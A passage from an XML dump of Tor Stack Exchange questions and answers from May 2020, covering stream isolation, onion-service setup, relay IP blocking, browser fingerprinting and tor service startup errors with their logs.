&quot;Problem running tor services&quot;&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="30292" LastActivityDate="2020-05-20T11:58:24.280" Title="Why always permission Denied" Tags="|configuration|" AnswerCount="0" CommentCount="6" ClosedDate="2020-05-20T22:39:00.543" ContentLicense="CC BY-SA 4.0" />
  <row Id="21238" PostTypeId="1" CreationDate="2020-05-21T14:04:22.267" Score="0" ViewCount="41" Body="&lt;p&gt;So I just downloaded and started using Tor Browser and since I live in one of the countries where Tor is banned, I make my connection via a bridge (might be useful info idk :) Whenever I try to enter a specific website, tor browser automaticially leads me to page for downloading google chrome which is quite interesting. &lt;/p&gt;&#xA;" OwnerUserId="30310" LastActivityDate="2020-05-21T14:04:22.267" Title="Tor Browser keeps leading me to download page of Google Chrome when I enter a particular website" Tags="|connection|" AnswerCount="0" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="21239" PostTypeId="1" AcceptedAnswerId="21240" CreationDate="2020-05-21T16:17:09.093" Score="2" ViewCount="691" Body="&lt;p&gt;Let's say I have a Tor Browser, nodejs and curl all sending requests using Tor's SOCKS5 proxy. Will requests from different clients routed through the same exit node? Or does each client get their own Tor circuit?&lt;/p&gt;&#xA;" OwnerUserId="30201" LastActivityDate="2020-05-21T16:44:55.703" Title="Does Tor daemon build multiple circuit when multiple clients connects to it?" Tags="|circuit|torsocks|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21240" PostTypeId="2" ParentId="21239" CreationDate="2020-05-21T16:27:46.103" Score="1" Body="&lt;p&gt;If you want to keep steams isolated for each applications, you should connect to Tor's SOCKS proxy using a different username for each application. Otherwise Tor may use the same circuit for streams from different applications. With torsocks you can use the &lt;code&gt;torsocks -i&lt;/code&gt; option to use a SOCKS username/password derived from the current PID and time. You can also isolate streams by setting Tor to use multiple different SOCKS ports, one for each application. You can find the stream isolation code in tor's &lt;code&gt;connection_edge_compatible_with_circuit()&lt;/code&gt; function.&lt;/p&gt;&#xA;" OwnerUserId="24966" LastEditorUserId="24966" LastEditDate="2020-05-21T16:44:55.703" LastActivityDate="2020-05-21T16:44:55.703" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="21241" PostTypeId="1" CreationDate="2020-05-21T21:05:56.413" Score="0" ViewCount="72" Body="&lt;p&gt;1 attack is timing correlation attack. How can I increase the max allowable delay for requests between my computer, guard nodes, exit nodes, website?&lt;/p&gt;&#xA;" OwnerUserId="30313" LastActivityDate="2021-10-18T01:05:40.513" Title="Increase max allowable delay" Tags="|tor-browser-bundle|configuration|anonymity|deanonymization|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21242" PostTypeId="2" ParentId="15505" CreationDate="2020-05-22T20:08:15.237" Score="0" Body="&lt;p&gt;If possible, I would install the browser in the first place where the profile fits. For example, in the user home directory. With Windows 10, this is sometimes under the Users folder. It could be that in this way many users will have to install the same program in a different location. So that there will be almost identical copies of the same program in the system. I guess the privacy implications outweigh this duplication.&lt;/p&gt;&#xA;" OwnerUserId="30319" LastActivityDate="2020-05-22T20:08:15.237" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21243" PostTypeId="1" CreationDate="2020-05-23T08:16:13.847" Score="0" ViewCount="146" Body="&lt;p&gt;This is not so much a question but a post for completion. I hope this meets the community standards.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am running a tor-relay in my home network. Naturally, it is reachable on my public IP that is provided by my ISP. When I browse the internet, I do so on the very same IP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On May 21st 2020 (plus-minus) I recognized that Netflix was restricting most of its content and displaying a &lt;code&gt;F7111-5059&lt;/code&gt; error. It seems that netflix recognizes my relay's IP/my public IP as a VPN connection and blocks any content.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone confirm this case? Or does anyone has found a way to circumvent this situation?&lt;/p&gt;&#xA;" OwnerUserId="10041" LastActivityDate="2022-02-15T02:05:25.450" Title="Running a Tor-Relay on a private network restricts other services (eg netflix)" Tags="|relays|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21244" PostTypeId="1" CreationDate="2020-05-23T12:31:35.230" Score="3" ViewCount="485" Body="&lt;p&gt;TOR's method to countering fingerprinting is to make as many users &quot;appear the same&quot; as possible, let us call this to &lt;strong&gt;&quot;generalize&quot;&lt;/strong&gt;. While Brave tries to &lt;strong&gt;randomize&lt;/strong&gt; all fingerprints of each and every user in a unique way (for each new opened session).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A short quote from Brave to get the context (as you are all Tor experts, I am not quoting Tor).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;We're adding subtle, non-human perceivable noise to the JS readable outputs of the audio, canvas and WebGL APIs. The randomized end points give you unlinkability across sessions for (for any fingerprinter who consumes a randomized endpoint)&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/brave/brave-browser/wiki/Fingerprinting-Protections&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/brave/brave-browser/wiki/Fingerprinting-Protections&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Question&lt;/strong&gt; &lt;strong&gt;&lt;em&gt;can you please explain: Which of those two methods&#xA;  (randomize vs generalize fingerprints) is technically more effective&#xA;  in making it more difficult to track/pinpoint &#xA;  that a user across weeks of different browsing sessions is the same&#xA;  user?&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This is about &lt;strong&gt;technical facts&lt;/strong&gt; not opinions. I am not a expert, but I assume that this is a clear technical question and experts should be able to tell the difference of both approaches's impact on user identification.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks &lt;/p&gt;&#xA;" OwnerUserId="30322" LastEditorUserId="30322" LastEditDate="2020-05-25T19:51:49.443" LastActivityDate="2021-07-30T00:32:20.927" Title="Tor vs Brave - which is technically more effective to hinder user tracking - fingerprint generalization or randomization?" Tags="|tor-browser-bundle|anonymity|firefox|browsers|fingerprinting|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21246" PostTypeId="1" AcceptedAnswerId="21247" CreationDate="2020-05-25T08:03:46.373" Score="0" ViewCount="399" Body="&lt;p&gt;I am trying to setup a hidden service for my public website and thus would like to use port 80 for &lt;strong&gt;both&lt;/strong&gt; tor and nginx. Is it possible on a single host with one public IP address?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In other words, I am looking for a reverse proxy to demux traffic from Tor and plaintext Web into tor and nginx respectively.&lt;/p&gt;&#xA;" OwnerUserId="28183" LastActivityDate="2020-05-25T08:40:00.090" Title="Sharing port 80 between tor and nginx" Tags="|onion-services|server|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="21247" PostTypeId="2" ParentId="21246" CreationDate="2020-05-25T08:40:00.090" Score="2" Body="&lt;p&gt;You have a simple nginx webserver and it is listening on http port 80 for mywebsite.com. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You set up tor to also listen externally on &lt;em&gt;virtual port 80&lt;/em&gt; as a onion service for mywebsiteabcxyz.onion.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This can all live on the same web server at the same time. No reverse proxy is required. The key is that tor will always listen for a virtual onion service port and the communicate with nginx on the real port 80. The tor daemon does that translation for you. Both real world and onion users will see the same content.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please also see my answer &lt;a href=&quot;https://tor.stackexchange.com/questions/21204/configuring-my-website-with-both-a-clearnet-and-a-onion-address/21207#21207&quot;&gt;here&lt;/a&gt;. If you share one server with Tor and with an external site, either your Tor users will be redirected to links in the external site or the external users will be redirected to links in the onion site. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are planning on a simple html website, that might be OK for you. If you are planning on using a CMS, it gets more complication and you will want to consider running two websites in parallel.&lt;/p&gt;&#xA;" OwnerUserId="23661" LastActivityDate="2020-05-25T08:40:00.090" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="21248" PostTypeId="1" AcceptedAnswerId="21284" CreationDate="2020-05-25T09:48:47.107" Score="1" ViewCount="139" Body="&lt;p&gt;IPFS has &lt;a href=&quot;https://docs.ipfs.io/guides/concepts/dnslink/&quot; rel=&quot;nofollow noreferrer&quot;&gt;DNSLink&lt;/a&gt; and Dat has &lt;a href=&quot;https://beakerbrowser.com/docs/guides/use-a-domain-name-with-dat#well-knowndat&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;.well-known/dat&lt;/code&gt;&lt;/a&gt; for the autodiscovery of the content on their networks given a domain name (or a website in Dat's case).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So for instance, when a user visits &lt;a href=&quot;http://facebook.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://facebook.com/&lt;/a&gt; using Tor Browser Bundle, the browser can automatically discover if the website offers a hidden service (e.g. &lt;a href=&quot;http://facebookcorewwwi.onion/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://facebookcorewwwi.onion/&lt;/a&gt;) and can redirect (or ask to redirect) the user.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S. I remember reading something about Tor's solution to this (which used DNS), but cannot find it again as search results for &quot;tor&quot; and &quot;dns&quot; return irrelevant results mostly about DNS leaks.&lt;/p&gt;&#xA;" OwnerUserId="28183" LastActivityDate="2020-06-06T22:45:07.977" Title="Autodiscovery of Hidden Services Given a Domain or a Website" Tags="|tor-browser-bundle|onion-services|dns|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="21249" PostTypeId="1" AcceptedAnswerId="21251" CreationDate="2020-05-25T20:12:15.803" Score="0" ViewCount="193" Body="&lt;p&gt;&lt;strong&gt;I am useing Tor Browser.&lt;/strong&gt; On first start of browser I got the follow normal question. I selected the &quot;Connect&quot; button and after than the browser worked allways fine. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/KRyMZ.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/KRyMZ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Depend on my often unstable dsl connection, i lose some time per day the internet connction. Depend on this the Tor browser ask me in this situation, on every new Tor browser start the same &quot;Connect&quot; or &quot;Configure&quot; question like on first browser start.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/KRyMZ.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/KRyMZ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Question: How to prevent me from the &quot;Connect&quot; / &quot;Configure&quot; question after every DSL network error ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was looking for a Tor Browser forum, a i didnt find a forum for like this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On Firefox I have seen one time, its possible to configure some things on &quot;about:config&quot;. It can be its possible to disable my problem by about:config.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does someone know a anything I can search for, a search term or even a known solution ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;THX&lt;/p&gt;&#xA;" OwnerUserId="30335" LastActivityDate="2020-05-27T17:10:26.013" Title="Tor browser. Unwanted Connect / Configure Question, after network interruption" Tags="|tor-browser-bundle|configuration|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="21251" PostTypeId="2" ParentId="21249" CreationDate="2020-05-25T20:41:30.417" Score="2" Body="&lt;p&gt;There is an 'about:config' option for this (&lt;code&gt;extensions.torlauncher.prompt_at_startup&lt;/code&gt;), but it should usually already be set to false, and the browser changes this to true automatically as needed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead, you should use the &lt;code&gt;TOR_FORCE_NET_CONFIG&lt;/code&gt; environment variable when you start the browser. If you disable it, Tor will connect to the Tor network automatically without prompting. On Linux you can use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;TOR_FORCE_NET_CONFIG=0 tor-browser/Browser/start-tor-browser --detach&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I believe it should be similar on Windows on the command line using:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;set TOR_FORCE_NET_CONFIG=0&#xA;start tor-browser.exe&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="24966" LastEditorUserId="24966" LastEditDate="2020-05-27T17:10:26.013" LastActivityDate="2020-05-27T17:10:26.013" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="21252" PostTypeId="2" ParentId="21243" CreationDate="2020-05-25T20:49:56.737" Score="0" Body="&lt;p&gt;Is your relay an exit relay? If so then this is unfortunately typical since these services can't tell the difference between your personal traffic and traffic from the exit relay. Instead they just decide to block all traffic from the IP regardless of any collateral damage.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is your relay a non-exit relay? I haven't personally run into this problem, but this happens once in a while when these services block IP addresses of all relays and not just exit relays. It doesn't make sense for them to do this, but these services either don't care if they block some small fraction of users, or don't understand how Tor works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In either of these cases, there's no way to have your IP address unblocked other than contacting the company, or shutting down your relay and hoping that they unblock you. It may also be possible to run your relay with IPv4 only and use IPv6 only for personal browsing (so that they have different IP addresses), but I haven't tried this.&lt;/p&gt;&#xA;" OwnerUserId="24966" LastActivityDate="2020-05-25T20:49:56.737" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21254" PostTypeId="2" ParentId="21241" CreationDate="2020-05-25T20:53:53.547" Score="1" Body="&lt;p&gt;If you're asking if you can delay your traffic at some hops/relays along the circuit, there is no way to do this. Relays will process connections and circuits as fast as possible (limited by their own bandwidth limits). Tor does not perform any traffic mixing or delays.&lt;/p&gt;&#xA;" OwnerUserId="24966" LastActivityDate="2020-05-25T20:53:53.547" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21255" PostTypeId="2" ParentId="21232" CreationDate="2020-05-25T21:05:02.250" Score="0" Body="&lt;p&gt;You have installed a virus scanner, whose task it is to look for things that the manufacturer considers to be correct on your computer. Many virus scanners even report badly found things to the virus scanner manufacturer and check them again for you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What the virus scanner manufacturer is actually looking for on your computer, probably only he knows himself. If they didn't just want to check for viruses, the software you installed, which you hope for the best, could also check for things and report them to the manufacturer or wherever else you don't like.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any software, even a virus scanner, always poses a risk.&lt;/p&gt;&#xA;" OwnerUserId="30335" LastActivityDate="2020-05-25T21:05:02.250" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21257" PostTypeId="2" ParentId="21244" CreationDate="2020-05-26T19:56:58.580" Score="2" Body="&lt;p&gt;I think you're not going to get a lot of good answers because no one has done a study comparing the two in detail and AFAIK that hasn't been done yet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If we think about it, The Tor Project wants everyone to look like a white sheep that is indistinguishable from all other white sheep. Brave makes you look like you are wearing a &quot;shimmer suit&quot; from &lt;a href=&quot;https://www.youtube.com/watch?v=cWs6t9g5MdQ&quot; rel=&quot;nofollow noreferrer&quot;&gt;A Scanner Darkly&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Which one is more or less likely to get you fingerprinted? That's to be determined. However, there is more to it than that. Tor Browser is heavily locked down and does not allow any changed that aren't already planned for a tested.&#xA;We really don't know the security testing practice at Brave. It is a general purpose browser. However, Tor Browser has a single purpose and that is anonymity. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also the fact that it is using Chromium will give some people pause because they don't trust anything from Google for good reason. However, Mozilla is not completely pure and innocent either and have their share of history when it comes to data privacy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To summarize, there isn't much to say until more people take Brave seriously as a tool for Tor and independent research is done. I personally feel safe enough to use it as my daily driver browser, but if I am in a situation where my anonymity is of the utmost importance, I will use Tor Browser.&lt;/p&gt;&#xA;" OwnerUserId="23661" LastActivityDate="2020-05-26T19:56:58.580" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21258" PostTypeId="1" AcceptedAnswerId="21259" CreationDate="2020-05-26T20:41:52.680" Score="0" ViewCount="1122" Body="&lt;p&gt;When I launch Firefox, before interacting with the browser, I normally see a couple of outbound connections.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ sudo netstat --tcp --all --numeric --program | grep ESTABLISHED&#xA;&#xA;tcp        0      0 10.50.0.11:59038        143.204.201.8:443       ESTABLISHED 9963/firefox        &#xA;tcp        0      0 10.50.0.11:59040        143.204.201.8:443       ESTABLISHED 9963/firefox &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Nothing exciting there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Yet, when I launch Tor, before interacting with the browser I see outbound connections &lt;em&gt;and&lt;/em&gt; what would appear to be inbound connections.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ sudo netstat --tcp --all --numeric --program | grep ESTABLISHED&#xA;&#xA;tcp        0      0 127.0.0.1:54238         127.0.0.1:9151          ESTABLISHED 17114/./firefox.rea &#xA;tcp        0      0 127.0.0.1:9151          127.0.0.1:54238         ESTABLISHED 17153/tor           &#xA;tcp        0      0 127.0.0.1:9151          127.0.0.1:54240         ESTABLISHED 17153/tor           &#xA;tcp        0      0 127.0.0.1:54240         127.0.0.1:9151          ESTABLISHED 17114/./firefox.rea &#xA;tcp        0      0 10.50.0.11:33398        A.B.C:D:9001     ESTABLISHED 17153/tor           &#xA;tcp        0      0 127.0.0.1:9151          127.0.0.1:54234         ESTABLISHED 17153/tor           &#xA;tcp        0      0 127.0.0.1:54234         127.0.0.1:9151          ESTABLISHED 17114/./firefox.rea &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm trying to understand what I'm seeing here and have two questions:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Am I correct in thinking that the connection on port 9001 is to the first relay in the circuit? (the IP resolves to &lt;code&gt;D-C-B-A.rev.cloud.scaleway.com&lt;/code&gt;)&lt;/li&gt;&#xA;&lt;li&gt;Why there are inbound connections to 127.0.0.1? &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Grateful for any help.&lt;/p&gt;&#xA;" OwnerUserId="30334" LastEditorUserId="88" LastEditDate="2020-06-07T20:41:12.357" LastActivityDate="2020-06-07T20:41:12.357" Title="Why am I seeing inbound connections to 127.0.0.1 when launching Tor?" Tags="|help|network-configuration|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21259" PostTypeId="2" ParentId="21258" CreationDate="2020-05-26T21:20:17.657" Score="0" Body="&lt;p&gt;If you look at the port number for those localhost connections, you'll see that they use port 9151. This is the &lt;em&gt;control port&lt;/em&gt; that the Tor Browser configures the tor client to use. Tor's control port allows other programs to control how the tor process operates. The Tor Browser will connect to tor's control port in order to have better control over stream isolation and other things.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So in summary, these connections are expected and are how the Tor Browser communicates with the tor client.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also you're correct that 163.172.152.22 is the IP address of the first relay in a circuit, specifically your guard relay. You generally shouldn't give this address out to other people since all of your circuits will use this same guard relay.&lt;/p&gt;&#xA;" OwnerUserId="24966" LastActivityDate="2020-05-26T21:20:17.657" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="21261" PostTypeId="1" CreationDate="2020-05-26T22:56:51.820" Score="0" ViewCount="321" Body="&lt;p&gt;I keep getting dns errors when running scripts in the terminal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Normal dns resolving in the tor browser (and chromium) works as it is supposed to though.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;&lt;pre&gt;&lt;code&gt;user@host:~$ ping google.de&#xA;&#xA;ping: google.de: Temporary failure in name resolution&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I'm running Manjaro as my main operating system and I use virtual-box for virtualization.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I fix this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you need any logs please comment below.&lt;/p&gt;&#xA;" OwnerUserId="30336" LastActivityDate="2020-05-26T22:56:51.820" Title="Temporary failure in name resolution" Tags="|whonix|dns|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="21262" PostTypeId="1" CreationDate="2020-05-26T23:59:00.137" Score="0" ViewCount="95" Body="&lt;p&gt;I am looking for a mainstream filesharing service that I can use with no concern about my location and connection details being leaked and logged.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't care about data encryption or the big G or Dropbox snooping around my files: the files will be carefully anonymized, and they will be published for free access to anyone.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My only concern is: I do not want a later investigation by a potentially very determined adversary to ask the activity log to, say, Dropbox, and Dropbox revealing my true exact location, IP, ISP etc, because of TAILS leaking some valuable information while I was using the service.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My fear is about the things I do not really understand: I know Java can deanonimyze you, and Dropbox (or any other filesharing website, AFAIK) won't work if i disable Java on TOR browser selecting the &quot;Safest&quot; security preferences.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know that Onionshare would be just the perfect fit, but unluckily I need a mainstream platform that anybody can access, use and interact with, and last but foremost without raising the suspicion I want to remain anonymous.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any service that is advertised as built for anonimity would just not be the thing for me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do you have any recommendation?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The recommendation can also be &quot;Steer clear of filesharing and use good old emails&quot;. That would be a mess, but anonimity can't be easy as we all know.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;About my previous research: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have to rule out Google Drive simply because using it with TAILS is a pain in the arse, with one captcha after the other.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Dropbox on the other hand seems to be absolutely OK with TAILS users.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Seafile (added benefit: it's in China, possibly not a really cooperative country in case of a later investigation by western authorities).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Spideroak, I haven' investigated yet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tresorit, same as above.&lt;/p&gt;&#xA;" OwnerUserId="30337" LastActivityDate="2020-05-26T23:59:00.137" Title="Filesharing and anonimity" Tags="|tails|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="21263" PostTypeId="1" CreationDate="2020-05-27T01:05:08.407" Score="0" ViewCount="90" Body="&lt;p&gt;This may be silly question, but since tor is single threaded, that means having huge server is technically useless, what about splitting the server using Proxmox or other software, this could possibly spread the load across all cores/threads? Hm?&lt;/p&gt;&#xA;" OwnerUserId="30339" LastActivityDate="2020-05-27T02:32:49.490" Title="Tor is single threaded, but what If I split a server into many small instances?" Tags="|configuration|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21264" PostTypeId="2" ParentId="21263" CreationDate="2020-05-27T02:32:49.490" Score="1" Body="&lt;p&gt;There is no way to split a relay's tor process across CPU cores. The Tor Network does allow you to run up to two relays with the same IPv4 address though, so many people choose to run two relays on one server. Some relay operators with a large number of IP addresses run up to 16 relays on the same server.&lt;/p&gt;&#xA;" OwnerUserId="24966" LastActivityDate="2020-05-27T02:32:49.490" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="21265" PostTypeId="1" CreationDate="2020-05-27T20:09:29.513" Score="2" ViewCount="2597" Body="&lt;p&gt;I don't know how to properly explain this, but i think the picture would help me explain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After getting read of the error &quot;Permission denied&quot;, i restarted tor, copied down my tor hidden service onion link &lt;code&gt;http://xabkqgk7mcl3o3zncmefo5yhlbuwvwhxkgfxirtsiuj67zour7ij32qd.onion/&lt;/code&gt;, which i searched in the tor browser and the result came out &quot;Server not found&quot;. I decided to check my tor status with &lt;code&gt;sudo system status tor@default&lt;/code&gt; and the result which is the in the picture....&#xA;&lt;a href=&quot;https://i.stack.imgur.com/dz7Y9.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/dz7Y9.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Question&lt;/strong&gt;&#xA;-What might have gone wrong and how do i resolve the issue and get my site to be running.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Thank you.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;So i typed in &lt;code&gt;sudo systemctl start tor@default&lt;/code&gt; and the output was&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Job for tor@default.service failed because the control process exited with error code.&#xA;See &quot;systemctl status tor@default.service&quot; and &quot;journalctl -xe&quot; for details.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;I typed in this second code &lt;code&gt;sudo journalctl -u tor@default&lt;/code&gt; the output has up to more than 1000 lines of code, so i don't know how to paste all of it here. &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;May 25 12:18:52 drago-VirtualBox systemd[1]: Stopped Anonymizing overlay network for TCP.&#xA;May 25 12:18:52 drago-VirtualBox systemd[1]: Starting Anonymizing overlay network for TCP...&#xA;May 25 12:18:52 drago-VirtualBox tor[2659]: May 25 12:18:52.983 [notice] Tor 0.4.2.7 running on Linux with Libevent 2.1.11-stable, Ope&amp;gt;&#xA;May 25 12:18:52 drago-VirtualBox tor[2659]: May 25 12:18:52.993 [notice] Tor can't help you if you use it wrong! Learn how to be safe &amp;gt;&#xA;May 25 12:18:52 drago-VirtualBox tor[2659]: May 25 12:18:52.995 [notice] Read configuration file &quot;/usr/share/tor/tor-service-defaults-&amp;gt;&#xA;May 25 12:18:52 drago-VirtualBox tor[2659]: May 25 12:18:52.995 [notice] Read configuration file &quot;/etc/tor/torrc&quot;.&#xA;May 25 12:18:52 drago-VirtualBox tor[2659]: May 25 12:18:52.999 [warn] /home/drago/hidden_service/ is not owned by this user (debian-t&amp;gt;&#xA;May 25 12:18:52 drago-VirtualBox tor[2659]: May 25 12:18:52.999 [warn] Failed to parse/validate config: Failed to configure rendezvous&amp;gt;&#xA;May 25 12:18:52 drago-VirtualBox tor[2659]: May 25 12:18:52.999 [err] Reading config failed--see warnings above.&#xA;May 25 12:18:53 drago-VirtualBox systemd[1]: tor@default.service: Control process exited, code=exited, status=1/FAILURE&#xA;May 25 12:18:53 drago-VirtualBox systemd[1]: tor@default.service: Failed with result 'exit-code'.&#xA;May 25 12:18:53 drago-VirtualBox systemd[1]: Failed to start Anonymizing overlay network for TCP.&#xA;May 25 12:18:53 drago-VirtualBox systemd[1]: tor@default.service: Scheduled restart job, restart counter is at 2.&#xA;May 25 12:18:53 drago-VirtualBox systemd[1]: Stopped Anonymizing overlay network for TCP.&#xA;May 25 12:18:53 drago-VirtualBox systemd[1]: Starting Anonymizing overlay network for TCP...&#xA;May 25 12:18:53 drago-VirtualBox tor[2663]: May 25 12:18:53.224 [notice] Tor 0.4.2.7 running on Linux with Libevent 2.1.11-stable, Ope&amp;gt;&#xA;May 25 12:18:53 drago-VirtualBox tor[2663]: May 25 12:18:53.227 [notice] Tor can't help you if you use it wrong! Learn how to be safe &amp;gt;&#xA;May 25 12:18:53 drago-VirtualBox tor[2663]: May 25 12:18:53.227 [notice] Read configuration file &quot;/usr/share/tor/tor-service-defaults-&amp;gt;&#xA;May 25 12:18:53 drago-VirtualBox tor[2663]: May 25 12:18:53.227 [notice] Read configuration file &quot;/etc/tor/torrc&quot;.&#xA;May 25 12:18:53 drago-VirtualBox tor[2663]: May 25 12:18:53.234 [warn] /home/drago/hidden_service/ is not owned by this user (debian-t&amp;gt;&#xA;May 25 12:18:53 drago-VirtualBox tor[2663]: May 25 12:18:53.234 [warn] Failed to parse/validate config: Failed to configure rendezvous&amp;gt;&#xA;May 25 12:18:53 drago-VirtualBox tor[2663]: May 25 12:18:53.235 [err] Reading config failed--see warnings above.&#xA;May 25 12:18:53 drago-VirtualBox systemd[1]: tor@default.service: Control process exited, code=exited, status=1/FAILURE&#xA;May 25 12:18:53 drago-VirtualBox systemd[1]: tor@default.service: Failed with result 'exit-code'.&#xA;May 25 12:18:53 drago-VirtualBox systemd[1]: Failed to start Anonymizing overlay network for TCP.&#xA;May 25 12:18:53 drago-VirtualBox systemd[1]: tor@default.service: Scheduled restart job, restart counter is at 3.&#xA;May 25 12:18:53 drago-VirtualBox systemd[1]: Stopped Anonymizing 